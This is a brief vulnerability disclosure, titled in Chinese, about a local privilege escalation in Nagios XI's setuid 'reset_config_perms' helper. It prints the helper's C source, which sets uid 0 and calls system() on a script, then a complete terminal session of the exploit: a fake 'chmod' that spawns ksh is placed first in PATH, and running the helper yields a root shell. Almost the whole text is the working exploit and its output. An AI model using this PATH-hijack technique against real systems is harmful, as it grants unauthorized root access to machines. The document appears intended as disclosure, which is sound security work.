Nagios XI 'reset_configs-perms.c'本地特权提升漏洞

rootbsd () laptop:~$ id uid=1001(rootbsd) gid=1001(rootbsd) groupes=1001(rootbsd) rootbsd () laptop:~$ ls -l /usr/local/nagiosxi/scripts/reset_config_perms -rwsr-xr-x 1 root nagios 5258 2011-04-11 20:38 reset_config_perms rootbsd () laptop:~$ cat /usr/local/nagiosxi/scripts/reset_config_perms.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { if(setuid( 0 )!=0) printf("ERROR TRYING TO SETUID ROOT!\n"); else printf("SETUID ROOT OK\n"); system( "/usr/local/nagiosxi/scripts/reset_config_perms.sh" ); return 0; } rootbsd () laptop:~$ cat /home/rootbsd/chmod #!/usr/bin/ksh ksh rootbsd () laptop:~$ chmod 755 /home/rootbsd/chmod rootbsd () laptop:~$ export PATH=/home/rootbsd:$PATH rootbsd () laptop:~$ /usr/local/nagiosxi/scripts/reset_config_perms SETUID ROOT OK RESETTING PERMS # id uid=0(root) gid=0(root) groupes=0(root)